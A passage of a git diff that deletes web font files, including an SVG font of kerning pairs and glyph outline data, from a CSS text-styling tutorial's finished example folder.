-<hkern g1="K" g2="C,G,O,Q,Ccedilla,Ograve,Oacute,Ocircumflex,Otilde,Odieresis,Oslash,OE" k="45" />
-<hkern g1="K" g2="a,agrave,aacute,acircumflex,atilde,adieresis,aring,ae" k="-5" />
-<hkern g1="K" g2="Y,Yacute,Ydieresis" k="-5" />
-<hkern g1="K" g2="w" k="25" />
-<hkern g1="K" g2="V" k="10" />
-<hkern
-                g1="u,ugrave,uacute,ucircumflex,udieresis"
-                g2="c,d,e,o,q,cent,ccedilla,egrave,eacute,ecircumflex,edieresis,ograve,oacute,ocircumflex,otilde,odieresis,oslash,oe"
-                k="10"
-            />
-<hkern g1="u,ugrave,uacute,ucircumflex,udieresis" g2="y,yacute,ydieresis" k="-5" />
-<hkern g1="u,ugrave,uacute,ucircumflex,udieresis" g2="m,n,r,ntilde" k="3" />
-<hkern g1="u,ugrave,uacute,ucircumflex,udieresis" g2="g" k="-8" />
-<hkern g1="u,ugrave,uacute,ucircumflex,udieresis" g2="j" k="20" />
-<hkern g1="C,Ccedilla" g2="c,d,e,o,q,cent,ccedilla,egrave,eacute,ecircumflex,edieresis,ograve,oacute,ocircumflex,otilde,odieresis,oslash,oe" k="20" />
-<hkern g1="C,Ccedilla" g2="A,Agrave,Aacute,Acircumflex,Atilde,Adieresis,Aring,AE" k="22" />
-<hkern g1="C,Ccedilla" g2="y,yacute,ydieresis" k="40" />
-<hkern g1="C,Ccedilla" g2="m,n,r,ntilde" k="30" />
-<hkern g1="C,Ccedilla" g2="a,agrave,aacute,acircumflex,atilde,adieresis,aring,ae" k="30" />
-<hkern g1="C,Ccedilla" g2="s" k="30" />
-<hkern g1="C,Ccedilla" g2="b,h,k,l,germandbls,thorn" k="20" />
-<hkern g1="C,Ccedilla" g2="t" k="20" />
-<hkern g1="X" g2="c,d,e,o,q,cent,ccedilla,egrave,eacute,ecircumflex,edieresis,ograve,oacute,ocircumflex,otilde,odieresis,oslash,oe" k="40" />
-<hkern g1="X" g2="C,G,O,Q,Ccedilla,Ograve,Oacute,Ocircumflex,Otilde,Odieresis,Oslash,OE" k="33" />
-<hkern g1="X" g2="y,yacute,ydieresis" k="50" />
-<hkern g1="P" g2="c,d,e,o,q,cent,ccedilla,egrave,eacute,ecircumflex,edieresis,ograve,oacute,ocircumflex,otilde,odieresis,oslash,oe" k="50" />
-<hkern g1="P" g2="A,Agrave,Aacute,Acircumflex,Atilde,Adieresis,Aring,AE" k="50" />
-<hkern g1="P" g2="y,yacute,ydieresis" k="10" />
-<hkern g1="P" g2="g" k="20" />
-<hkern g1="P" g2="J" k="60" />
-<hkern g1="P" g2="a,agrave,aacute,acircumflex,atilde,adieresis,aring,ae" k="30" />
-<hkern g1="P" g2="j" k="30" />
-<hkern g1="P" g2="b,h,k,l,germandbls,thorn" k="20" />
-<hkern g1="P" g2="t" k="10" />
-<hkern g1="e,ae,egrave,eacute,ecircumflex,edieresis,oe" g2="quoteright,quotesinglbase,quotedblbase" k="-3" />
-<hkern g1="e,ae,egrave,eacute,ecircumflex,edieresis,oe" g2="y,yacute,ydieresis" k="10" />
-<hkern g1="e,ae,egrave,eacute,ecircumflex,edieresis,oe" g2="a,agrave,aacute,acircumflex,atilde,adieresis,aring,ae" k="-3" />
-<hkern g1="e,ae,egrave,eacute,ecircumflex,edieresis,oe" g2="j" k="20" />
-<hkern g1="e,ae,egrave,eacute,ecircumflex,edieresis,oe" g2="w" k="10" />
-<hkern g1="e,ae,egrave,eacute,ecircumflex,edieresis,oe" g2="v" k="10" />
-<hkern g1="e,ae,egrave,eacute,ecircumflex,edieresis,oe" g2="x" k="-5" />
-<hkern g1="comma,period,colon,semicolon,periodcentered,quoteright,quotesinglbase,quotedblbase,ellipsis" g2="Y,Yacute,Ydieresis" k="-3" />
-<hkern g1="comma,period,colon,semicolon,periodcentered,quoteright,quotesinglbase,quotedblbase,ellipsis" g2="b,h,k,l,germandbls,thorn" k="-10" />
-<hkern g1="comma,period,colon,semicolon,periodcentered,quoteright,quotesinglbase,quotedblbase,ellipsis" g2="s" k="45" />
-<hkern g1="plus,hyphen,equal,underscore,endash,emdash" g2="Z" k="20" />
-<hkern g1="quotedblleft" g2="A,Agrave,Aacute,Acircumflex,Atilde,Adieresis,Aring,AE" k="76" />
-</font>
-</defs></svg>
diff --git a/docs/content/learning-area/css/styling-text/typesetting-a-homepage-finished/fonts/Lovato-Light-webfont.ttf b/docs/content/learning-area/css/styling-text/typesetting-a-homepage-finished/fonts/Lovato-Light-webfont.ttf
deleted file mode 100644
index 5af0ea6eb9..0000000000
Binary files a/docs/content/learning-area/css/styling-text/typesetting-a-homepage-finished/fonts/Lovato-Light-webfont.ttf and /dev/null differ
diff --git a/docs/content/learning-area/css/styling-text/typesetting-a-homepage-finished/fonts/Lovato-Light-webfont.woff b/docs/content/learning-area/css/styling-text/typesetting-a-homepage-finished/fonts/Lovato-Light-webfont.woff
deleted file mode 100644
index c31d183ae4..0000000000
Binary files a/docs/content/learning-area/css/styling-text/typesetting-a-homepage-finished/fonts/Lovato-Light-webfont.woff and /dev/null differ
diff --git a/docs/content/learning-area/css/styling-text/typesetting-a-homepage-finished/fonts/Lovato-Light-webfont.woff2 b/docs/content/learning-area/css/styling-text/typesetting-a-homepage-finished/fonts/Lovato-Light-webfont.woff2
deleted file mode 100644
index b3e5946919..0000000000
Binary files a/docs/content/learning-area/css/styling-text/typesetting-a-homepage-finished/fonts/Lovato-Light-webfont.woff2 and /dev/null differ
diff --git a/docs/content/learning-area/css/styling-text/typesetting-a-homepage-finished/fonts/josefinslab-bold-webfont.eot b/docs/content/learning-area/css/styling-text/typesetting-a-homepage-finished/fonts/josefinslab-bold-webfont.eot
deleted file mode 100644
index 6d3e4a0ae7..0000000000
Binary files a/docs/content/learning-area/css/styling-text/typesetting-a-homepage-finished/fonts/josefinslab-bold-webfont.eot and /dev/null differ
diff --git a/docs/content/learning-area/css/styling-text/typesetting-a-homepage-finished/fonts/josefinslab-bold-webfont.svg b/docs/content/learning-area/css/styling-text/typesetting-a-homepage-finished/fonts/josefinslab-bold-webfont.svg
deleted file mode 100644
index 53f5b45318..0000000000
--- a/docs/content/learning-area/css/styling-text/typesetting-a-homepage-finished/fonts/josefinslab-bold-webfont.svg
+++ /dev/null
@@ -1,865 +0,0 @@
-<?xml version="1.0" standalone="no" ?>
-<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
-<svg xmlns="http://www.w3.org/2000/svg">
-<metadata />
-<defs>
-<font id="josefin_slabbold" horiz-adv-x="1120">
-<font-face units-per-em="2048" ascent="1536" descent="-512" />
-<missing-glyph horiz-adv-x="614" />
-<glyph horiz-adv-x="0" />
-<glyph unicode="&#xd;" horiz-adv-x="614" />
-<glyph unicode=" " horiz-adv-x="614" />
-<glyph unicode="&#x09;" horiz-adv-x="614" />
-<glyph unicode="&#xa0;" horiz-adv-x="614" />
-<glyph
-                unicode="!"
-                horiz-adv-x="411"
-                d="M98 109q0 47 33 76.5t74 29.5q39 0 71.5 -29.5t32.5 -76.5t-32.5 -78t-71.5 -31q-41 0 -74 30.5t-33 78.5zM119 340v1196h170v-1196h-170z"
-            />
-<glyph unicode="&#x22;" horiz-adv-x="686" d="M129 967v508h170q-2 -129 -4 -254t-4 -254h-162zM401 967v508h170q-2 -129 -4 -254t-4 -254h-162z" />
-<glyph
-                unicode="#"
-                horiz-adv-x="1169"
-                d="M51 385q4 41 10.5 83t10.5 83h188l25 209h-187q4 41 8.5 83t8.5 83h188q12 98 24.5 195.5t24.5 195.5h172q-12 -98 -24.5 -195.5t-24.5 -195.5h205q12 98 24.5 195.5t24.5 195.5h172q-12 -98 -24.5 -195.5t-24.5 -195.5h209q-4 -41 -8 -83t-9 -83h-210l-25 -209h209 q-4 -41 -10.5 -83t-10.5 -83h-209q-10 -98 -22 -192.5t-23 -192.5h-172q10 98 22.5 192.5t22.5 192.5h-204q-10 -98 -22.5 -192.5t-22.5 -192.5h-172q10 98 22 192.5t23 192.5h-189zM432 551h205l25 209h-205z"
-            />
-<glyph
-                unicode="$"
-                horiz-adv-x="1161"
-                d="M43 190v238h162v-182q41 -31 90 -55.5t108 -36.5v548q-59 18 -112 43t-95 65t-68 99.5t-28 149.5q-2 57 13.5 117.5t52.5 112.5t95 90t142 55v131h172v-127q66 -6 141 -31t152 -88v-201h-161v121q-29 12 -61 22.5t-71 14.5v-461q66 -23 131.5 -51.5t118 -75.5t84 -120.5 t31.5 -184.5q0 -84 -28.5 -152.5t-78 -120t-116 -83t-142.5 -39.5v-127h-172v133q-123 18 -219 73.5t-141 122.5zM270 1053q0 -70 37 -110t96 -69v388q-68 -27 -100.5 -83t-32.5 -126zM575 154q82 18 138.5 75.5t56.5 155.5q0 57 -15.5 99t-41 73t-61.5 52.5t-77 37.5v-493z "
-            />
-<glyph
-                unicode="%"
-                horiz-adv-x="1486"
-                d="M184 797q0 53 20.5 100t56.5 82t84 55.5t101 20.5t100.5 -20.5t83.5 -55.5t57.5 -82t21.5 -100q0 -55 -21.5 -102.5t-57.5 -82t-83.5 -55t-100.5 -20.5t-101 20.5t-84 55t-56.5 81.5t-20.5 103zM356 0q154 258 305.5 512t305.5 512h186q-154 -258 -305.5 -512 t-304.5 -512h-187zM356 797q0 -41 25 -68t65 -27q41 0 66 27t25 68t-25 66.5t-66 25.5t-65.5 -25.5t-24.5 -66.5zM807 227q0 53 20.5 100.5t56.5 82t84 55t101 20.5t100.5 -20.5t83 -55t57 -81.5t21.5 -101q0 -55 -21.5 -102t-57 -82t-83 -55.5t-100.5 -20.5t-101 20.5 t-84 55.5t-56.5 82t-20.5 102zM979 227q0 -41 24.5 -67.5t65.5 -26.5t65.5 26.5t24.5 67.5t-24.5 66.5t-65.5 25.5t-65.5 -25.5t-24.5 -66.5z"
-            />
-<glyph
-                unicode="&#x26;"
-                horiz-adv-x="1433"
-                d="M215 385q0 74 24.5 139.5t69.5 117.5t104.5 88t131.5 48l-144 238q-29 49 -45 101t-16 104q0 51 21.5 105t62.5 100.5t100.5 76t137.5 29.5t147.5 -27.5t120.5 -60.5l-68 -133q-31 16 -81 37.5t-99 21.5q-43 0 -73.5 -18.5t-51 -46t-31 -59.5t-10.5 -56q0 -35 11.5 -69 t31.5 -66l305 -496v6v203h367v-166h-195v-82v-82q0 -35 -2 -72.5t-8 -68.5l154 -248l-133 -88l-103 168q-57 -68 -139 -107.5t-180 -39.5q-86 0 -161 31.5t-130 87t-87 128t-32 156.5zM385 385q0 -100 66.5 -169t173.5 -69q78 0 136 39t85 103l-203 332q-117 0 -187.5 -62.5 t-70.5 -173.5z"
-            />
-<glyph unicode="'" horiz-adv-x="333" d="M86 967v508h172q-2 -129 -4 -254t-4 -254h-164z" />
-<glyph
-                unicode="("
-                horiz-adv-x="868"
-                d="M236 596q0 154 28.5 293t75.5 258t107.5 216t125.5 165q37 -12 75 -23.5t75 -23.5q-59 -68 -115.5 -160t-101.5 -204.5t-71.5 -244t-26.5 -276.5t26.5 -276.5t71.5 -244t101.5 -204.5t115.5 -160q-37 -12 -75 -23.5t-75 -23.5q-66 68 -126 165t-107 216t-75.5 258 t-28.5 293z"
-            />
-<glyph
-                unicode=")"
-                horiz-adv-x="819"
-                d="M152 -299q59 68 115.5 160t101.5 204.5t71.5 243.5t26.5 277q0 145 -26.5 276t-71.5 244t-101.5 205t-115.5 159q37 12 74.5 25.5t74.5 26.5q63 -68 124.5 -165t109 -216t76 -258t28.5 -293t-28.5 -293t-76 -258t-108.5 -216t-125 -165q-37 10 -75 21.5t-74 21.5z"
-            />
-<glyph
-                unicode="*"
-                horiz-adv-x="686"
-                d="M51 1110q33 16 63.5 34.5t63.5 35.5q-31 18 -62.5 37.5t-62.5 37.5l80 142q33 -18 64.5 -38t64.5 -38v154h172q0 -39 -1 -77t-1 -77q33 18 65.5 36.5t65.5 37.5q20 -35 41 -71t41 -71q-35 -18 -66.5 -37.5t-66.5 -37.5l129 -74q-23 -37 -43 -75t-43 -75q-33 18 -63.5 38 t-63.5 38q0 -35 -1 -70.5t-1 -70.5h-164v143q-31 -18 -62.5 -35.5t-62.5 -35.5q-23 37 -43 74.5t-43 74.5z"
-            />
-<glyph unicode="+" horiz-adv-x="1112" d="M176 389v166h283v287h172v-287h282v-166h-282v-285h-172v285h-283z" />
-<glyph unicode="," horiz-adv-x="409" d="M4 -246q41 106 79 211t79 211h172q-45 -106 -88 -210.5t-88 -211.5h-154z" />
-<glyph unicode="-" horiz-adv-x="614" d="M109 301v166h376v-166h-376z" />
-<glyph unicode="." horiz-adv-x="333" d="M68 106q0 47 32.5 78t73.5 31q39 0 72 -30.5t33 -78.5q0 -47 -33 -76.5t-72 -29.5q-41 0 -73.5 29.5t-32.5 76.5z" />
-<glyph unicode="/" horiz-adv-x="778" d="M35 -39q143 389 284.5 773t284.5 773h172q-143 -389 -284.5 -773t-284.5 -773h-172z" />
-<glyph
-                unicode="0"
-                horiz-adv-x="1261"
-                d="M76 670q0 156 44 281.5t118.5 213.5t175 135.5t215.5 47.5t215 -49.5t174 -138.5t115 -216t41 -282q0 -156 -48.5 -281t-126 -214t-176 -136t-202.5 -47t-203 49t-175.5 139t-121.5 216t-45 282zM248 668q0 -109 28.5 -203t80 -164t119 -110.5t145.5 -40.5 q76 0 145.5 38.5t121.5 108.5t82.5 164t30.5 203q0 74 -18 164t-62 168.5t-116 132t-176 53.5t-177 -52.5t-118 -130t-65.5 -167.5t-20.5 -164z"
-            />
-<glyph unicode="1" horiz-adv-x="593" d="M47 0v162h162v1003h-139v166h311v-1169h162v-162h-496z" />
-<glyph
-                unicode="2"
-                horiz-adv-x="1062"
-                d="M90 932q0 82 27.5 157.5t82 133t134.5 91.5t184 34q94 0 172 -35t133.5 -93.5t86 -135t30.5 -162.5q0 -102 -36 -197.5t-94 -190t-134 -185.5t-158 -183h336v190h162v-356h-907q127 127 245.5 247t210.5 231.5t147.5 217t55.5 201.5q0 76 -24.5 129t-62.5 88t-82 51.5 t-81 16.5q-78 0 -127 -27t-77.5 -65.5t-40 -81.5t-11.5 -76q0 -68 20.5 -120t59.5 -93l-102 -105q-35 23 -62.5 61t-47 82t-30 90t-10.5 85z"
-            />
-<glyph
-                unicode="3"
-                horiz-adv-x="1054"
-                d="M121 129l125 117q37 -45 89 -70.5t114 -25.5q57 0 107 22.5t88 60t60.5 88t22.5 107.5t-22.5 107.5t-60.5 87t-88 58t-107 21.5q-75 1 -134 -34l285 495h-227v-96h-162v264h674l-293 -487q68 -25 123 -65t96 -93t63.5 -118.5t22.5 -139.5q0 -92 -36 -173t-97.5 -141.5 t-142 -95t-172.5 -34.5q-98 0 -182.5 39.5t-145.5 105.5z"
-            />
-<glyph unicode="4" horiz-adv-x="1083" d="M76 375l749 973v-807h199v-166h-199v-213h170v-162h-495v162h153v213h-577zM420 541h233v305z" />
-<glyph
-                unicode="5"
-                horiz-adv-x="1112"
-                d="M211 109l125 114q35 -35 82 -54t100 -19q57 0 107.5 22.5t88.5 60t60.5 88t22.5 107.5t-22.5 107.5t-60.5 87t-88.5 58t-107.5 21.5q-72 0 -131 -23.5t-94 -80.5v733h588v-264h-162v98h-254v-301q12 2 25.5 3t27.5 1q92 0 173 -33.5t142.5 -94t97.5 -140.5t36 -172 t-36 -173t-97.5 -141.5t-142.5 -95t-173 -34.5q-90 0 -169 32.5t-138 92.5z"
-            />
-<glyph
-                unicode="6"
-                horiz-adv-x="1064"
-                d="M98 403q0 147 62.5 275.5t161 239t219.5 207t235 180.5q27 -33 53.5 -66t53.5 -65q-133 -88 -225.5 -165t-157.5 -143q10 0 21 1t22 1q92 0 173 -33.5t142.5 -94t97 -140.5t35.5 -172t-35.5 -173t-97 -141.5t-142.5 -95t-173 -34.5q-88 0 -167 32.5t-139.5 89t-97.5 133 t-41 164.5zM274 428q0 -57 20.5 -107.5t57.5 -88t86 -60t105 -22.5q57 0 107 22.5t88 60t60.5 88t22.5 107.5t-22.5 107.5t-60.5 87t-88 58t-107 21.5q-55 0 -104.5 -21.5t-86.5 -58t-57.5 -87t-20.5 -107.5z"
-            />
-<glyph unicode="7" horiz-adv-x="960" d="M29 1067v264h845l-598 -1331h-194l526 1163h-418v-96h-161z" />
-<glyph
-                unicode="8"
-                horiz-adv-x="1044"
-                d="M74 428q0 119 57 216t152 157q-41 41 -64.5 97t-23.5 122q0 68 25.5 127t69.5 104t102.5 71t125.5 26q68 0 127.5 -26t104.5 -71t70.5 -104.5t25.5 -126.5q0 -66 -24.5 -122t-65.5 -97q94 -59 152.5 -156.5t58.5 -216.5q0 -92 -36 -173t-97.5 -141.5t-142.5 -95 t-173 -34.5t-173 34.5t-141.5 95t-95 141.5t-34.5 173zM250 428q0 -57 20.5 -107.5t57.5 -88t86 -60t104 -22.5q57 0 107.5 22.5t88.5 60t60.5 88t22.5 107.5q0 55 -21.5 104.5t-57.5 86t-85 59t-105 24.5q-59 0 -110 -21.5t-88 -58t-58.5 -87t-21.5 -107.5zM369 1020 q0 -66 45 -109t108 -43q66 0 110 43t44 109t-44 114t-110 48q-63 0 -108 -48t-45 -114z"
-            />
-<glyph
-                unicode="9"
-                horiz-adv-x="1075"
-                d="M53 858q0 92 36 173t97.5 141.5t142.5 95.5t173 35t173 -36t141.5 -96.5t95 -141.5t34.5 -171q0 -139 -64.5 -264t-165 -234.5t-219 -204t-229.5 -173.5q-27 33 -53.5 65.5t-52.5 65.5q133 88 225 164.5t158 142.5q-10 -2 -21.5 -2h-21.5q-92 0 -173 33.5t-142.5 94 t-97.5 140.5t-36 172zM223 858q0 -57 22.5 -107.5t60.5 -87t88 -58t108 -21.5q55 0 104 21.5t86 58t57.5 87t20.5 107.5t-20.5 107.5t-57.5 88.5t-86 60.5t-104 22.5q-57 0 -107.5 -22.5t-88.5 -60.5t-60.5 -88.5t-22.5 -107.5z"
-            />
-<glyph
-                unicode=":"
-                horiz-adv-x="358"
-                d="M68 106q0 47 32.5 78t73.5 31q39 0 72 -30.5t33 -78.5q0 -47 -33 -76.5t-72 -29.5q-41 0 -73.5 29.5t-32.5 76.5zM68 618q0 47 32.5 78t73.5 31q39 0 72 -30.5t33 -78.5q0 -47 -33 -76.5t-72 -29.5q-41 0 -73.5 29.5t-32.5 76.5z"
-            />
-<glyph
-                unicode=";"
-                horiz-adv-x="411"
-                d="M-25 -246q41 106 79 211t79 211h172q-45 -106 -88 -210.5t-88 -211.5h-154zM131 618q0 47 33 78t74 31q39 0 71.5 -30.5t32.5 -78.5q0 -47 -33 -76.5t-71 -29.5q-41 0 -74 29.5t-33 76.5z"
-            />
-<glyph
-                unicode="&#x3c;"
-                horiz-adv-x="1392"
-                d="M238 487q225 129 447 258t448 259v-232q-123 -72 -247 -142.5t-247 -142.5q123 -72 247 -142t247 -142v-232q-225 129 -447.5 258t-447.5 258z"
-            />
-<glyph unicode="=" horiz-adv-x="1449" d="M205 229v166h1036v-166h-1036zM205 627v166h1036v-166h-1036z" />
-<glyph
-                unicode="&#x3e;"
-                horiz-adv-x="1331"
-                d="M238 -29v232q123 72 246.5 142.5t246.5 141.5q-123 72 -247 142.5t-246 142.5v232q225 -129 447 -258.5t448 -258.5q-225 -129 -447.5 -258t-447.5 -258z"
-            />
-<glyph
-                unicode="?"
-                horiz-adv-x="925"
-                d="M84 1186q14 45 41 99t74 101.5t118.5 80t176.5 32.5q84 0 157.5 -31.5t128 -86t85 -127t30.5 -154.5q0 -115 -54.5 -200t-146.5 -155q-29 -20 -61.5 -41.5t-61 -49t-47 -65.5t-18.5 -93v-160h-172v199q0 66 20.5 106.5t55 72t77.5 59.5t91 65q74 55 108.5 120.5 t34.5 141.5q0 100 -62.5 166.5t-164.5 66.5q-115 0 -172.5 -51.5t-88.5 -151.5q-37 14 -74.5 27.5t-74.5 28.5zM311 106q0 47 33 78t74 31q39 0 71.5 -30.5t32.5 -78.5q0 -47 -32.5 -76.5t-71.5 -29.5q-41 0 -74 29.5t-33 76.5z"
-            />
-<glyph
-                unicode="@"
-                horiz-adv-x="2027"
-                d="M133 387q0 178 68.5 336t186.5 274.5t275.5 184t337.5 67.5q178 0 336 -67.5t275 -184t184.5 -274.5t67.5 -338q-8 -109 -50 -181.5t-99.5 -118.5t-123 -65.5t-121.5 -19.5h-217v41v41q-2 -6 -20.5 -22.5t-52 -33t-80.5 -30.5t-107 -14q-86 0 -161.5 31.5t-131 87 t-87 128t-31.5 154.5q0 80 31.5 152.5t87 128t131 87t161.5 31.5q53 0 99.5 -14t81 -33.5t55 -38t24.5 -24.5q0 23 4.5 47t4.5 49h141v-602h67q41 0 80 11t70 37t49.5 68t22.5 103q0 145 -54.5 272t-148.5 222.5t-219 149.5t-269 54q-145 0 -271 -54t-221 -149.5 t-149.5 -222.5t-54.5 -272t54.5 -271t149.5 -220.5t221 -148.5t271 -54q121 0 228.5 35.5t200.5 99.5q27 -31 51 -60.5t51 -60.5q-51 -45 -114.5 -79t-134.5 -56.5t-142.5 -33.5t-139.5 -11q-180 0 -337.5 67.5t-275.5 184.5t-186.5 274.5t-68.5 335.5zM754 385 q0 -100 66.5 -169t172.5 -69t173 69t67 169q0 102 -66.5 169t-173.5 67q-106 0 -172.5 -67t-66.5 -169z"
-            />
-<glyph
-                unicode="A"
-                horiz-adv-x="1613"
-                d="M72 0v162h168q141 338 283.5 668.5t283.5 668.5q141 -338 283.5 -668.5t283.5 -668.5h168v-162h-455v162h115q-43 102 -85 202.5t-85 202.5h-450l-172 -405h116v-162h-454zM651 729h312l-138 326l-20 67q-2 -4 -4 -14t-6 -23q-4 -14 -11 -30q-27 -59 -49 -117 q-20 -49 -42.5 -106.5t-41.5 -102.5z"
-            />
-<glyph
-                unicode="B"
-                horiz-adv-x="1110"
-                d="M72 0v162h92v1110h-92v162h467q100 0 183 -20.5t141.5 -63.5t91 -112t32.5 -163q0 -127 -60.5 -223t-183.5 -131q57 -12 111.5 -41t94.5 -74t64.5 -104.5t24.5 -132.5q0 -92 -38.5 -161t-103.5 -115t-148.5 -69.5t-172.5 -23.5h-503zM334 162h227q63 0 118.5 14t97.5 44 t66.5 73t24.5 102q0 63 -28.5 110.5t-74.5 77t-107.5 44t-125.5 14.5h-198v-479zM334 803h221q121 0 191.5 67.5t70.5 178.5q0 121 -73.5 172t-192.5 51h-217v-469z"
-            />
-<glyph
-                unicode="C"
-                horiz-adv-x="1249"
-                d="M72 715q0 152 57 286t156.5 233t232.5 157.5t285 58.5q104 0 197.5 -26.5t177.5 -75.5v-230h-162v125q-102 45 -213 45q-117 0 -218.5 -45t-178 -124t-120.5 -183.5t-44 -220.5q0 -117 44 -221.5t120.5 -181t178 -122t218.5 -45.5q152 0 280 76l93 -135 q-82 -47 -175.5 -74.5t-197.5 -27.5q-152 0 -285 57t-232.5 156.5t-156.5 232.5t-57 285z"
-            />
-<glyph
-                unicode="D"
-                horiz-adv-x="1294"
-                d="M72 0v164h96v1108h-96v162h430q147 0 278 -50.5t229.5 -144.5t156 -226t57.5 -298q0 -121 -42 -248t-136.5 -230.5t-245 -170t-367.5 -66.5h-360zM338 164h143q121 0 225.5 39t181.5 111.5t121 174t44 228.5t-44 229.5t-121 175t-181.5 111.5t-225.5 39h-143v-1108z"
-            />
-<glyph unicode="E" horiz-adv-x="1169" d="M72 0v162h114v1110h-114v162h997v-316h-162v154h-551v-469h633v-162h-633v-479h580v153h162v-315h-1026z" />
-<glyph unicode="F" horiz-adv-x="1140" d="M72 0v162h114v1110h-114v162h997v-316h-162v154h-551v-469h633v-162h-633v-479h211v-162h-495z" />
-<glyph
-                unicode="G"
-                horiz-adv-x="1247"
-                d="M72 711q0 152 57 285.5t156.5 233t232.5 158t285 58.5q104 0 197.5 -26.5t177.5 -76.5l-95 -137q-63 37 -132.5 57.5t-147.5 20.5q-117 0 -218.5 -45t-178 -124t-120.5 -183.5t-44 -220.5q0 -117 44 -221.5t120.5 -181.5t178 -122t218.5 -45q106 0 203 37v271h-211v161 h381v-528q-82 -47 -175.5 -74.5t-197.5 -27.5q-152 0 -285 57t-232.5 156.5t-156.5 232.5t-57 285z"
-            />
-<glyph
-                unicode="H"
-                horiz-adv-x="1581"
-                d="M72 0v162h161v1110h-161v162h495v-162h-164v-469h775v469h-164v162h495v-162h-161v-1110h161v-162h-495v162h164v479h-775v-479h164v-162h-495z"
-            />
-<glyph unicode="I" horiz-adv-x="638" d="M72 0v162h161v1110h-161v162h495v-162h-164v-1110h164v-162h-495z" />
-<glyph unicode="J" horiz-adv-x="636" d="M72 -133q141 8 232 90t91 233v1082h-323v162h493v-1250q0 -115 -38 -202.5t-103.5 -148t-156.5 -93.5t-195 -35v162z" />
-<glyph
-                unicode="K"
-                horiz-adv-x="1404"
-                d="M72 0v162h157v1110h-157v162h454v-162h-127v-400q-2 -16 -3 -32.5t-3 -32.5l39 47l438 418h-75v162h454v-162h-170l-440 -420q137 -174 273.5 -345t273.5 -345h147v-162h-454v162h106q-117 145 -230.5 289.5t-228.5 291.5l-127 -120v-461h168v-162h-495z"
-            />
-<glyph unicode="L" horiz-adv-x="1169" d="M72 0v162h114v1110h-114v162h454v-162h-170v-1110h580v153h162v-315h-1026z" />
-<glyph
-                unicode="M"
-                horiz-adv-x="1998"
-                d="M72 0v162h178v1110h-178v162h229q176 -227 349 -453.5t349 -454.5q176 227 349.5 454t349.5 454h229v-162h-178v-1110h178v-162h-495v162h147v801q2 16 3 32.5t3 32.5q-16 -23 -32.5 -47.5t-32.5 -46.5q-123 -174 -257.5 -341t-263.5 -337l-548 717l-37 55q2 -16 3 -32.5 t3 -32.5v-801h147v-162h-495z"
-            />
-<glyph
-                unicode="N"
-                horiz-adv-x="1751"
-                d="M72 0v162h178v1110h-178v162h237l989 -1072l39 -53l-6 66v897h-147v162h495v-162h-178v-1338l-1048 1115l-39 53l6 -66v-874h147v-162h-495z"
-            />
-<glyph
-                unicode="O"
-                horiz-adv-x="1609"
-                d="M72 715q0 150 57 284t156.5 234t232.5 158.5t285 58.5q150 0 284 -58.5t234 -158.5t158.5 -234.5t58.5 -283.5q0 -152 -58.5 -285t-158.5 -232.5t-234.5 -156.5t-283.5 -57q-152 0 -285 57t-232.5 156.5t-156.5 232.5t-57 285zM242 715q0 -119 44 -222.5t120.5 -180 t179 -122t219.5 -45.5t219 45.5t179 122t121 180t44 222.5t-44 222t-121 181t-179 123t-219 45t-219.5 -45t-179 -123t-120.5 -181t-44 -222z"
-            />
-<glyph
-                unicode="P"
-                horiz-adv-x="1058"
-                d="M72 0v162h92v1110h-92v162h430q70 0 154.5 -21.5t158.5 -69t123 -121t49 -178.5q0 -186 -110.5 -295.5t-319.5 -109.5h-223v-477h233v-162h-495zM334 803h178q90 0 148.5 23.5t93 58.5t49 78t14.5 81q0 45 -23.5 86t-63.5 73t-96 50.5t-120 18.5h-180v-469z"
-            />
-<glyph
-                unicode="Q"
-                horiz-adv-x="1654"
-                d="M72 715q0 152 57 286t156.5 233t232.5 157.5t285 58.5t286 -58.5t233 -157.5t157.5 -233.5t58.5 -285.5q0 -166 -69.5 -309.5t-186.5 -243.5h301v-162h-629q-78 -16 -151 -16q-152 0 -285 57t-232.5 156.5t-156.5 232.5t-57 285zM242 715q0 -117 44 -221.5t120.5 -181 t178 -122t218.5 -45.5t219 45.5t179 122t122 181t45 221.5t-45 221t-122 183t-179 124t-219 45t-218.5 -45t-178 -124t-120.5 -183t-44 -221z"
-            />
-<glyph
-                unicode="R"
-                horiz-adv-x="1179"
-                d="M72 0v162h92v1110h-92v162h430q70 0 154.5 -21.5t158.5 -69t123 -121t49 -178.5q0 -154 -76.5 -257t-224.5 -136l229 -489h193v-162h-299l-301 639h-88h-86v-477h233v-162h-495zM334 803h178q90 0 148.5 23.5t93 58.5t49 78t14.5 81q0 45 -23.5 86t-63.5 73t-96 50.5 t-120 18.5h-180v-469z"
-            />
-<glyph
-                unicode="S"
-                horiz-adv-x="978"
-                d="M43 190v238h162v-182q53 -41 127 -71t166 -30q53 0 102 15.5t87 45.5t60.5 75t22.5 104q0 106 -49 163.5t-123 89.5t-160 54.5t-160.5 61.5t-125 108.5t-52.5 196.5v12q0 61 18 123q20 68 67.5 123t125.5 90t191 35q37 0 80 -4t90 -16.5t97 -37t99 -65.5v-201h-161v121 q-39 16 -90.5 28.5t-112.5 12.5q-119 0 -176.5 -67.5t-57.5 -159.5q0 -61 29 -99.5t76 -64t107.5 -44t123 -40t122.5 -51t107.5 -77.5t76 -119t28.5 -175q0 -92 -34 -166t-92 -126t-136 -79.5t-164 -27.5q-78 0 -151.5 17t-135 46t-109.5 65.5t-75 77.5z"
-            />
-<glyph unicode="T" horiz-adv-x="1275" d="M72 1118v316h1132v-316h-162v154h-317v-1110h149v-162h-495v162h176v1110h-322v-154h-161z" />
-<glyph
-                unicode="U"
-                horiz-adv-x="1492"
-                d="M72 1272v162h495v-162h-168v-803q0 -78 26 -138.5t72 -101.5t109.5 -62.5t138.5 -21.5q76 0 139.5 21.5t109.5 62.5t73 101.5t27 138.5v803h-168v162h495v-162h-157v-809q0 -117 -40 -207t-110 -150.5t-164 -91t-205 -30.5t-205 30.5t-163.5 91t-108.5 150.5t-39 207v809 h-157z"
-            />
-<glyph
-                unicode="V"
-                horiz-adv-x="1658"
-                d="M72 1272v162h495v-162h-147q96 -223 189 -446.5t190 -446.5l18 -68l19 68q96 223 189 445.5t187 447.5h-120v162h495v-162h-203q-141 -338 -283.5 -669t-283.5 -669q-141 338 -283.5 669t-283.5 669h-178z"
-            />
-<glyph
-                unicode="W"
-                horiz-adv-x="2412"
